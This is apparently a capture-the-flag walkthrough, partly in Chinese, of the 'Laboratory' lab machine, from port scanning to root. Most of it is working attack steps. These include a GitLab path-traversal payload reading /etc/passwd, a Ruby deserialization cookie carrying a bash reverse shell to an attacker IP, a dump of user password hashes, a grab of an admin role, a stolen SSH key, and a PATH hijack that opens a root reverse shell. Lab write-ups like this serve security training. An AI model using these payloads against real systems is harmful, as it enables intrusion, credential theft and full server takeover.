Information Gathering

$ ip='10.10.10.216'; itf='tun0'; if nmap -Pn -sn "$ip" | grep -q "Host is up"; then echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); if [ -n "$ports" ]; then echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; nmap -Pn -sV -sC -p "$ports" "$ip"; else echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; fi; else echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; fi

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 25ba648f799d5d95972c1bb25e9b550d (RSA)
|   256 2800890555f9a2ea3c7d70ea4dea600f (ECDSA)
|_  256 7720ffe946c068921a0b2129d153aa87 (ED25519)
80/tcp  open  http     Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to https://laboratory.htb/
443/tcp open  ssl/http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| tls-alpn: 
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
|_http-title: The Laboratory
| ssl-cert: Subject: commonName=laboratory.htb
| Subject Alternative Name: DNS:git.laboratory.htb
| Not valid before: 2020-07-05T10:39:28
|_Not valid after:  2024-03-03T10:39:28
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

GitLab-v12.8.1 LFI

# echo '10.10.10.216 laboratory.htb git.laboratory.htb' >>/etc/hosts

https://laboratory.htb/

https://git.laboratory.htb/users/sign_in

注册用户登录

https://git.laboratory.htb/help

https://hackerone.com/reports/827052

创建两个项目A,B

在项目A中的issues中添加

![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../etc/passwd)

将issues移动到B项目中

Ruby-deser secret_key_base RCE

设置Gitlab实例

https://packages.gitlab.com/gitlab/gitlab-ce/packages/ubuntu/xenial/gitlab-ce_12.8.1-ce.0_amd64.deb

$ gitlab-ctl reconfigure

$ gitlab-ctl restart

$ gitlab-rails console

request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
erb = ERB.new("<%= bash -c 'bash -i>& /dev/tcp/10.10.16.31/10032 0>&1' %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb,:result, "@result", ActiveSupport::Deprecation.new)
cookies = request.cookie_jar
cookies.signed[:cookie] = depr
puts cookies[:cookie]

$ curl -vvv 'https://git.laboratory.htb/users/sign_in' -k -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kidCNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBiYXNoIC1jICdiYXNoIC1pPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjIvNDQ0NCAwPiYxJ2AgKS50b19zKTsgX2VyYm91dAY6BkVGOg5AZW5jb2RpbmdJdToNRW5jb2RpbmcKVVRGLTgGOwpGOhNAZnJvemVuX3N0cmluZzA6DkBmaWxlbmFtZTA6DEBsaW5lbm9pADoMQG1ldGhvZDoLcmVzdWx0OglAdmFySSIMQHJlc3VsdAY7ClQ6EEBkZXByZWNhdG9ySXU6H0FjdGl2ZVN1cHBvcnQ6OkRlcHJlY2F0aW9uAAY7ClQ=- -8fdb57c5b65cef79b38c842cc0a42570ff756636"

Docker Escape(gitlab-rails):Lateral Movement

$ gitlab-rails console

users = User.all
users.each do |user|
  puts "ID: #{user.id}, Username: #{user.username}, Email: #{user.email}, Encrypted Password: #{user.encrypted_password}"
end

将我们用户权限修改为admin

user = User.find_by(username: 'map')
user.admin = true
user.save!

https://git.laboratory.htb/explore

https://git.laboratory.htb/dexter/securedocker/-/blob/master/dexter/.ssh/id_rsa

User.txt

9c2a8cd5962ffcbf1f56cd3ec5e6fde8

TRP00F

https://github.com/MartinxMax/trp00f

$ python3 trp00f.py --lhost 10.10.16.25 --lport 10000 --rhost 10.10.16.25 --rport 10032 --http 9999

[!] Do you want to exploit the vulnerability in file 'pkexec' ? (y/n) >y

Privilege Escalation:docker-security && chmod Path hijack

$ nc 10.10.16.31 10011 </usr/local/bin/docker-security

PS:可以使用ltrace命令跟踪docker-security所执行的库调用。

这里常规使用#!/bin/bash\n/bin/bash写入/tmp/chmod再进行$ export PATH=/tmp:$PATH就可以进行路径劫持了。

这里将使用Tyrant进行持久化控制

将Tyrant上传靶机

https://github.com/MartinxMax/Tyrant

$ echo '/tmp/tyrant'>/tmp/chmod
$ /usr/bin/chmod +x chmod
$ /usr/bin/chmod +x tyrant
$ export PATH=/tmp:$PATH
$ /usr/local/bin/docker-security

反弹ROOT会话

$ ./tyrant -uid 0 -rhost 10.10.16.31 -rport 4451

Root.txt

07456541386c4c220bac22b424b00f3b